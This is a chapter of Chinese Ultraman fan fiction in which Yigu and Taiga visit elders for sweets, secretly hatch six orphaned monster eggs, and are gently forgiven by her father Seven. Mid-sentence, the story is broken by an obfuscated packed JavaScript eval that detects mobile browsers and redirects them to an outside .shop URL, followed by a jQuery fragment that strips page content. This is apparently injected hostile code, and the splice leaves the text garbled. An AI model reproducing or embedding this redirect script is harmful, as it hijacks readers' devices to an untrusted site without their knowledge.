在接下来的几十年里,伊咕的生活逐渐有了一种安定的、缓慢的节奏。她的身体在能量灌注的治疗下慢慢恢复着——珍珠白色的皮肤变得更明亮了一些,也带着一点点哑光的质感,头顶的猫耳头冠比刚来的时候硬挺了一些,海蓝色的圆形指示灯泛着更透亮的颜色,慢慢出现宝石一般的纹理。
玛丽奶奶说她的能量恢复速度比预期好,大概再过百年左右就能恢复到成年状态。
伊咕对"百年"这个概念没什么实感。她只是每天去做治疗,每天去训练,每天和泰迦到处找吃的。
训练方面,艾斯教了她一套防反兼备的刀术。那套刀术和他自己在战斗中使用的光线切割技巧一脉相承——讲究的是在最小范围内完成最大精度的攻击,出刀角度刁钻,收势稳而快,每一刀都带有明确的战术意图,换而言之就是让怪兽cos商鞅,艾斯管这个叫"断头刀",因为超兽是没有痛觉的。
伊咕学得很认真,训练场上珍珠白色的身影常常在金色光芒中一练就是几个小时。她的刀法渐渐从生涩变得流畅,从流畅变得精准。艾斯站在旁边看的时候越来越少开口,偶尔会说一句"手腕的轨迹再往前推三度"或者"收刀的时机可以再早一点点"。
泰迦也跟着学,但学得没有伊咕那么拼命。他更喜欢和伊咕一起干别的事——比如"观察生活"。伊沽管这叫"观察生活",泰迦管这叫"找吃的"。
"今天我们去看什么?"泰迦问。
伊咕想了想。"初代伯伯家。"
"曼伯伯家有什么吃的?"
"不知道,所以要去观察。"
初代的住宅在光之国城区的西侧,是一栋安静的白色建筑,院子很小但种了很多发光的花。
伊咕和泰迦到的时候,曼正坐在院子里的长椅上,手里拿着一本书,他看到两个小身影出现在院子门口的时候,没有露出惊讶的表情。
"来了?"曼说。
伊咕和泰迦走进院子,伊咕在发光的花丛旁边蹲下来,用手指碰了一下花瓣——那些花在她指尖泛出更亮的光,像一个微小的回应。
"曼伯伯——这是什么花?"
"扎比尼。"初代放下书,"它们能感知到你的能量波动。"
伊咕又碰了一下那朵花,花亮了一下,然后暗下去,又亮了一下,"——它们在跟我打招呼!"
"它们在确认你的能量频率。"曼说,"如果频率匹配的话它们会一直跟着你亮。"
伊咕蹲在花丛前面,珍珠白色的手指轻轻碰着一朵又一朵花。那些花在她指尖依次亮起来,像一串被点燃的小灯。泰迦也蹲下来,伸手碰了一朵——那朵花亮了一下,但亮度比伊咕碰的时候弱很多。
"为什么我的更暗?"泰迦问。
"因为她的能量结构和它们更匹配。"曼说,"你的光波粒子率是光之国常见的能量频率,它们也会亮,但没有那么亮。"
泰迦看着伊咕,又看了看那些在她指尖依次亮起的花,有点羡慕,他也想要那么亮。
她站起来,拍了拍手上沾的花粉,珍珠白色的小手套上沾了一点金色的花粉,在光线下闪着细碎的微光。
"曼伯伯——你忙吗?"
司马昭之心路人皆知。
曼看着这个小东西,"有,进来吧。"
伊咕和泰迦在曼家的客厅里吃到了光之国最软糯的云片糕。曼做的和艾斯做的不一样——更软,更黏牙,带着谷物的清香,唯一缺点就是干巴。
还是艾斯伯伯做的最好吃。
但是两个小奥很给面子,伊咕吃了三块,泰迦吃了四块,两个人坐在曼家的窗台上,晒着光之国永恒的金色光芒,吃饱了就开始晒太阳。
"伊咕,泰迦,"曼坐在书桌后面,翻着书页,"你们最近去了几家了?"
伊咕艰难地咽下去。"——就几个伯伯家。"
"哪几家?"
"……佐菲伯伯、泰罗伯伯、艾斯伯伯、杰克伯伯——"伊咕说。
曼转头看着老实的泰迦,"还有呢?"
"还有——"泰迦的声音小了一点,"——科学局希卡利伯伯家,还有他家旁边小吃店的烤饼,爱迪叔叔家的布丁,尤里卡姐姐家的抹茶蛋糕,托雷基亚叔叔家的布蕾。"
曼合上书页,"你们爸爸知道吗?"
"我爸知道。他说'多吃点才能长高'。"泰迦说
"那你呢?小朋友。"
伊咕沉默了一下,"……可是我不能亏待自己。"
曼没有忍住笑了,这孩子真可爱。
下午,伊咕和泰迦从初代家出来,顺着空中回廊往回走,金色光芒从四面八方涌来,落在两个小身影身上。伊咕走在前面一点,珍珠白色的身体在光线下泛着温润的光泽,海蓝色的圆形指示灯因为能量充足而比平时亮一些,泰迦跟在后面一点,银红色的身影在金色光芒中显得格外明亮。
"伊咕姐姐,"泰迦说,"我们明天去谁家?"
伊咕想了想,"佐菲伯伯要对外交往,所以他手里的茶还有糕点必定是非常拿的出手——"
"那我们——"
"去看看。"
两个人对视一眼,同时笑出了声。
那天傍晚,伊咕回到诸星宅的时候,赛文正站在门口等她。他没有穿披风,银红色的标准制服在金色光芒中泛着温润的光。他双手抱胸靠在门框上,看着伊咕走过来,猫耳头冠晚风中微微轻颤,猫耳头冠的主人的珍珠白色身体在光芒中泛着温润的光泽,怀里还揣着从曼那里带回来的半盒云片糕。
"今天去了曼伯伯家?"赛文问。
"嗯。"
"吃的什么?"
"糕点,曼伯伯做的那种,但是没有艾斯伯伯做的好吃,太干巴了。"
赛文看着她怀里的盒子。"……还打包了?"
"曼伯伯给的。他说'带回去给你爸尝尝'。"
"因为我说'我爸爸也喜欢吃甜的'。"
赛文将盒子接过来,上下翻看那个盒子,随即转身往屋里走。
"进来吃饭。"
伊咕跟在他后面,珍珠白色的脚踩在诸星宅的地板上,发出很轻的声响。她看着赛文的背影,深红色的披风挂在衣架上,在客厅的金色光芒中彰显其主人与众不同的身份。
"爸爸,"伊咕在餐桌旁边坐下来,"你今天在警备队忙什么?"
"巡逻。开会。"赛文把晚饭盛到碗里端过来,"还有——去科学局看你变身器的进度。"
伊咕的眼睛亮了一下,"快做好了?"
"还要一段时间。"赛文在她对面坐下来,"材料处理比我想象的复杂。你的能量结构和光之国的标准不太匹配,需要调整能量刻印的参数。"
伊咕舀了一勺粥送进嘴里。她嚼着嚼着,看着赛文低头喝粥的侧脸。"爸爸——"
"嗯?"
"爸爸的话变多了。"
赛文抬头看着她。
"以前都是爸爸在做,什么都不会解释,也不指望别人能够理解爸爸的苦衷,现在爸爸会说很多话,是想要我安心,不要多想担心。"
赛文看着她,他低头继续喝粥,声音很低:"话多。"
"爸爸说我话多的时候,其实心里在高兴。"
赛文沉默了一下,"等你身体好了,我们去接你弟回来,他也训练的差不多了。"
——
在接下来的几十年里,泰迦成了伊咕在光之国最亲近的同辈。两个人经常在金色光芒中穿行,去训练场、去观景台、去各家伯伯的住宅、去光之国城里那些藏在角落里的小吃店。
伊咕的"观察生活"范围越来越广,泰迦跟着她去过等离子火花塔的基座下面——那里有一条很窄的缝隙,从缝隙里看等离子火花塔的金色光芒,光线会折射成七彩的虹。两个人在那条缝隙里窝了一下午,看着那些光在窄窄的空间里变幻颜色。
"伊咕姐姐,"泰迦靠在缝隙的墙壁上,银红色的身体被折射的光染成了彩色,"你说——光之国一直这么亮着,有暗的时候吗?"
"没有。"伊咕说,"但我在地球上见过日落。太阳落下去的时候,天边是橘红色的。然后慢慢变黑。星星会出现。"
"星星——"
"就是远处的光,和光之国的不太一样。更远,更散,更像——"伊咕想了想,"更像一些在很远的地方自己亮着的小灯。"
泰迦看着缝隙上方那片金色的光,"那我以后也去地球看看。"
"好啊。"伊咕说,"我请你在那里吃寿喜烧。"
"非常好吃的食物,是我的最爱。"
"说好了。"
伊咕和泰迦也在慢慢长大——用奥特曼的时间尺度来衡量,那种"长大"是极其缓慢的。她的能量恢复在稳步推进,身体在逐渐变得更强壮,那对猫耳头冠依然是她的标志——每次她听到什么有趣的事情,头冠就会微微竖起;每次她决定要做什么坏事,头冠就会稍稍往后压平;每次她吃到好吃的东西,头冠就会微微向前倾。
泰迦把这些规律摸得一清二楚,所以他总是能提前判断伊咕下一步要干什么——猫耳头冠竖起来了,她发现了什么有趣的事;猫耳头冠压平了,她要干坏事了,而且每次干坏事的时候,她还是一脸特别乖的表情。
"伊咕姐姐,"泰迦跟在她后面,"你又想干什么?"
"没有。"
"你猫耳朵压平了。"
伊咕的猫耳头冠立刻竖了起来。"——现在没想了。"
泰迦看着她,"所以刚才想了?"
"泰迦,你真是个天才。"
"我知道。"
"比你爸爸还聪明。"
泰迦想了想,点了一下头,"那当然。"
"那我告诉你我的秘密。"
伊咕带着泰迦在M78旁边小行星的一个偏僻山谷里,发现了一窝怪兽蛋。
这是一片很少有人来的地方——离光源很远,能量浓度比较低,地面上覆盖着暗绿色的苔藓,踩上去软绵绵的。伊咕是在追一只能量蝴蝶的时候发现的——那只蝴蝶飞进了山谷深处,她跟过去,然后看到了。
六枚蛋,橄榄绿色的外壳,比她的拳头大一圈,整齐地排列在苔藓覆盖的凹坑里。蛋壳表面有细密的纹路,在黯淡的金色光芒中泛着微弱的光泽。
"泰迦,"伊咕蹲下来,声音压得很低,"你看这就是我的秘密。"
泰迦凑过来,他看着那些蛋,又看了看四周。"——怪兽蛋?"
"嗯。"
"光之国怎么会有怪兽蛋?"
伊咕想了想,她想起赛文之前说过——光之国周围偶尔会有流浪的宇宙怪兽经过。有些怪兽在战斗中受伤或者迷失方向,会在能量浓度较低的区域短暂停留。
如果恰好是一只怀孕的怪兽……
"它的妈妈可能受伤了。"伊咕说,"或者——死了。"
泰迦蹲在她旁边,焦急地看着那些蛋。"那它们怎么办?"
伊咕伸出手,轻轻碰了一下最近的那枚蛋,蛋壳的表面是温热的,在她珍珠白色的指尖下微微震动了一下。那里面有什么活着的东西。很小的、蜷缩着的、在等待破壳的东西。
"我们养它们。"伊咕说。
泰迦看着她,"可是——光之国不让养怪兽的。"
"谁说不让?"
"宇宙警备队的条例。"
伊咕偏了偏头。"那就不在光之国养就不算违规了。"
"伊咕姐姐,你真聪明。"泰迦由衷的感叹。
于是两个小身影在那天下午偷偷做了很多事情,伊咕在训练场仓库里找了一个旧的储存箱,泰迦跑了几趟把那六枚蛋一颗一颗搬到了山谷更深处的一个隐蔽洞穴里。
洞穴不大,但足够暖和,点点星光透过洞口的缝隙漏进来,在洞壁上投出细碎的光斑。伊咕在洞穴里铺了一层从训练场拿来的隔热垫——那些垫子是训练场里用来放置能量器械的,保温性能很好。
"还有一件事。"伊咕说。
"什么?"
"它们出生之后吃什么?"
两个小身影对视了一眼,泰迦想了很久,他说:"——我不知道。"
泰迦想了想。"我去科学局查资料。"
"那你爸爸会发现吗?"
"……我会小心。"
接下来的一个月,伊咕去了光之国科学技术局的阅览室,她站起来,合上资料,走出阅览室。走到门口的时候,迎面碰上了赛文。
赛文站在阅览室入口,深红色的披风垂落在身后,金色镶边在光线下泛着温润的光。他双手垂在身侧,看着伊咕从里面走出来,目光在她脸上停了一会儿。
"看资料?"赛文问。
"——嗯。"
"看什么资料?"
伊咕的猫耳头冠动了一下。"——宇宙怪兽的迁徙路线,曼伯伯建议我了解的,对之后有帮助的。"
赛文专注的看着她,她站在阅览室门口的淡金色光线中,珍珠白色的身体泛着温润的光泽,鹅黄色的眼灯迎着他的目光,不闪不避,她的猫耳头冠微微竖着,没有压平。
她看着他,像是那种"我真的在干正事"的表情,特别自然特别坦然。
赛文站在那里观察了大概三秒,这三秒里伊咕的猫耳头冠一直竖着,一直竖着,稳得像一棵小树。
赛文开口了:"有什么怪兽的问题也可以问我,我是行星测绘员。"
伊咕的猫耳头冠轻轻动了一下,但很克制地没有压平。她得维持住这个"我真的只是好学"的表情,"……谢谢爸爸,我去找泰迦了。"
赛文看着女儿消失的背影,她和他小时候真的一模一样。
猫耳头冠悄悄地压平了一下,她迅速离开阅览室,往山谷的方向走去。泰迦今天有训练,那六枚蛋得她一个人去照看。
洞穴里,那些蛋还在。伊咕蹲在它们旁边,伸出一只手,把手掌悬在最近那枚蛋的上方,她试着把体内的能量向外推——那种感觉很生疏,她以前从来没有做过。暖意从她的掌心渗出来,像一层薄薄的光雾,落在了那枚蛋上,蛋壳表面的纹路亮了一下,又暗下去,又亮了一下,像一个微弱的回应。它在吸收她的能量。
"你们在这里等一下。"她对着那六枚蛋轻声说,"我会回来的。"
那天深夜,伊咕又去了一趟山谷。她带了几小瓶银十字军的能量补充剂——是她的份额还顺便一起把泰迦的一起拿来了。她蹲在洞穴里,把能量补充剂一滴一滴地滴在最中间那枚蛋上。淡蓝色的液体渗进蛋壳的纹路里,蛋壳表面的光泽变得更加明亮了一些。
"快长大吧。"伊咕说,"快点破壳。"
蛋壳没有回应,但它的温度比白天高了一些。
伊咕坐在洞穴里,靠着岩壁,看着那六枚蛋在黯淡的金色光芒中泛着微弱的暖光。她的珍珠白色的手放在膝盖上,鹅黄色的眼灯半明半暗,是打瞌睡的意思。猫耳头冠耷拉下来,像一只累坏了的小猫。她今天在阅览室坐了太久,又灌了能量去暖蛋,身体有些发沉。
她小憩了一会儿,站起来,走出洞穴,回到诸星宅。
她在床上躺下来,看着天花板。金色光芒从窗外涌进来,在天花板上投出淡金色的光纹。
"等这些小怪兽破壳了,"她想着,"就带去见爸爸。"
眼灯慢慢变暗。
在接下来的几个月里,伊咕和泰迦每天都会去那个洞穴,把能量补充剂省下来喂给那些蛋,有时候坐在洞穴里,伸着手掌给它们灌注能量。那些蛋的外壳渐渐变得光亮起来,摸上去的温度也一天比一天温热。
赛文偶尔会看她一眼,但什么也没问。他只是在她回来的时候递给她一杯能量茶,然后继续看他的光屏。伊咕接过茶喝了一口,在赛文对面坐下来,安安静静地把茶喝完,站起来回房间。
"伊
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17833641|210581||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
咕。"赛文叫住她。
她停在门口。
"训练场的隔热垫少了几块。"
伊咕的手在门框上停了一下。她转过头,看着赛文。赛文坐在那里,光屏的蓝色莹光映在他脸上,像在陈述一个日常观察结果。
"——我用完了就还回去。"
赛文没有追问。他看着伊咕站在门口的背影,珍珠白色的身体在金色光芒中泛着温润的光泽,猫耳头冠微微竖着,但竖得不如平时那么坚定。
过了片刻他说:"别饿着它们。"
伊咕的猫耳头冠动了一下。她站在门口没有立刻回答,小声说了一句:"……知道了爸爸。"
女儿的身影消失在门框后面,赛文坐在客厅里,目光落在她消失的方向,陷入回忆。
一个月后的某个清晨,伊咕推开洞穴入口的缝隙时,听到了一个声音。
很轻,很细,像什么东西在蛋壳内部轻轻撞击着,她快步走过去,蹲下来——那枚她每天都用能量补充剂喂的蛋,蛋壳表面出现了一道细小的裂缝。裂缝在扩大,一点一点地,从蛋壳顶部延伸到底部。里面的东西在动。
伊咕屏住了呼吸,蹲在那些蛋旁边,珍珠白色的手悬在半空,鹅黄色的眼灯一眨不眨地盯着那道裂缝,蛋壳裂开了。一小片蛋壳剥落,从裂缝里探出一个湿漉漉的小脑袋——小小的、圆圆的、长着两只还没完全张开的大眼睛。
它浑身覆盖着银灰色的细绒,像一团刚从水里捞出来的毛球。它看着伊咕,发出了一声极其细微的啾。蛋壳继续裂开。第二个、第三个、第四个——六枚蛋全部都在破壳。六个银灰色的小毛球从蛋壳里爬出来,挤在一起,眼睛半睁半闭,发出细碎的啾啾声。
伊咕蹲在那里,看着它们。它们挤成一团,那些湿漉漉的小毛球在她珍珠白色的手掌旁边蹭来蹭去,寻找着温暖的地方。她的手指轻轻碰了碰最前面那只小毛球的头顶,柔软的、温热的、带着蛋壳碎片的气味。
"……都出来了。"她轻声说。
她坐在洞穴里,看着那六个小毛球挤在她身边,发出细碎而安心的啾啾声,鹅黄色的眼灯在黯淡的金色光芒中亮着。她知道等她回去会被泰迦追问,被赛文发现,被光之国的律法追究,但只要不被发现就没有问题了。
那天晚上,伊咕带着六只小毛球回到了诸星宅。
她把它们装在一个垫了隔热垫的储存箱里,一路小心翼翼,生怕被巡逻的奥特战士发现。
到了诸星宅门口的时候她停下脚步,深吸一口气,推开门。赛文坐在客厅里,光屏悬浮在面前。他听到门响抬起头,看到伊咕走进来,怀里抱着一个储存箱。
赛文好巧不巧的看着她。
伊咕站在门口,抱着那个储存箱,鹅黄色的眼灯迎着他的目光。
"爸爸,"她说,"我养了一些怪兽。"
赛文沉默了几秒,"……一些?"
伊咕把储存箱放在地上,轻轻打开盖子。六个小毛球从里面探出头来,银灰色的绒毛细软而蓬松,它们挤在一起,发出细碎的啾啾声。
赛文看着那六个毛球。他看着它们从储存箱里爬出来,在地板上试探着走了几步,发现他,朝他歪了歪头。
只是六个,赛文舒了口气。
他看着伊咕蹲下来,伸手轻轻拢住一只试图往沙发底下钻的小毛球。
"爸爸——"伊咕抬头看他,"它们没有妈妈了。"
赛文坐在那里,看着伊咕。她的猫耳头冠微微竖着,鹅黄色的眼灯在他脸上停着,带着一点不安和很多很多的认真。他想了想,想到她自己也是被捡回来的,在一个地球上流浪的孩子,被赛文奥特曼带回家。
他站起身,走到她旁边,蹲下来。那几个小毛球看着他靠近,其中一只胆大的甚至踉跄着走了两步,绊倒在它自己的爪子上。赛文伸出一根手指,轻轻碰了一下那只小毛球的头顶。
"明天我带你去科学局登记。"赛文说,"作为外来生态样本观测。"
伊咕的猫耳头冠慢慢地、慢慢地竖了起来。"——你不让我把它们送走?"
"它们没地方去了。"赛文说,看着那只正在用爪子扒拉他手指的毛球,"跟你以前一样。"
伊咕蹲在那里,怀里拢着那些温热的小毛球,看着赛文的看似凶巴巴侧脸。他的目光落在那只小毛球上,银色和红色相间的手指被它扒拉着,他不抽开。她看到他和那些毛球之间的光线是暖金色的。
"爸爸。"
"嗯。"
"你真好。"
赛文没有回答,蹲在那里,任由那只小毛球扒拉着他的手指,很久没有动。
那六个小毛球后来被伊咕起了名字。大的叫大毛、第二大的叫二毛、第三大的叫三毛、第四大的叫四毛、第五大的叫五毛、最小的那个是唯一一只银灰色偏蓝的叫小可爱。
它们长得很快——在伊咕和泰迦的精心喂养下,三个月后就从毛团变成了能满地跑的小怪兽。它们有着圆滚的身体和短小的四肢,银灰色的皮毛在金色光芒中泛着细碎的微光,眼睛很大很亮,会歪头发出湫湫的声音。
赛文说这些小毛球长得像长尾山雀。
伊咕每天训练完都会去找它们。泰迦也跟着去,两个人坐在洞穴里,六个毛球围着他们打转。大毛喜欢趴在伊咕的膝盖上睡觉,四毛喜欢拱泰迦的手掌,二毛永远在找吃的,五毛总是试图往高处爬,三毛胆子最小,小可爱——那只银灰色偏蓝的小怪兽——最聪明,会用小爪子扒拉开伊咕的训练服口袋找食物。
"它们长得真快。"泰迦说,看着团子从一个毛球变成了一整个圆润的体积。
"它们一直在长大。"伊咕说,低头看着趴在膝盖上团成一团的团子,"再过几年就装不进储存箱了。"
"那怎么办?"
伊咕想了想。"到时候我跟爸爸说,让他帮我想想办法。"
"赛文伯伯会同意?"
"会同意的。"伊咕说,"他连我都捡回来了。"
泰迦看着她,伊咕坐在金色光芒中,珍珠白色的身体上趴着六个毛球,猫耳头冠微微歪着,鹅黄色的眼灯半闭着。她看起来像一只被小麻雀包围的小猫咪。
"伊咕姐姐,"泰迦说,"你身上有毛。"
伊咕低头看了看自己——珍珠白色的身体上沾了不少银灰色和银蓝色的细绒。"——你身上也有。"
泰迦低头看了看自己,确实沾了一圈怪兽毛。他抖了抖,没抖掉。
"算了,"泰迦说,"明天再弄。"
两个人坐在洞穴里,被六个毛球围着,谁都没有动。
赛文隔天来山谷看了那六个毛球一次,他蹲在洞穴口,看着那六个圆润的小身影在伊咕身边打转,一只趴在她膝盖上,一只在挠她的手指,一只正在试图从她的训练服口袋往外爬——小可爱,那只银蓝色的。
赛文伸手把小毛球从伊咕口袋里轻轻拎出来,放在自己掌心里。胖乎乎小麻雀样的怪兽歪着头看他,用小爪子扒拉了一下他的手指,安心地趴了下来。
"爸爸,"伊咕的声音从洞穴里面传来,"你身上有怪兽毛了。"
赛文低头看了一眼自己的披风——深红色的布料上沾了一小片银灰色的细绒。"……它掉毛。"
"可是毛茸茸的很可爱呀。"
赛文没有回答,他把小怪兽放在膝盖上,让它趴在那里。小怪兽发出了一声细小的、表示满足的咕噜声。
"……它比你乖。"赛文说。
"哼。"
伊咕看着赛文坐在洞穴口,膝盖上趴着一只银蓝色的小怪兽,深红色的披风上沾着怪兽毛,金色光芒从洞口涌进来落在他身上。
"爸爸,"伊咕说,"你真的好好哦,虽然脸是凶凶的,但是爸爸是世界上最善良的人。"
赛文低头看了一眼膝盖上那只已经缩成圆团的小毛球,用手指轻轻碰了一下它的头顶。小毛球蹭了蹭他的手指,发出更响的咕噜声。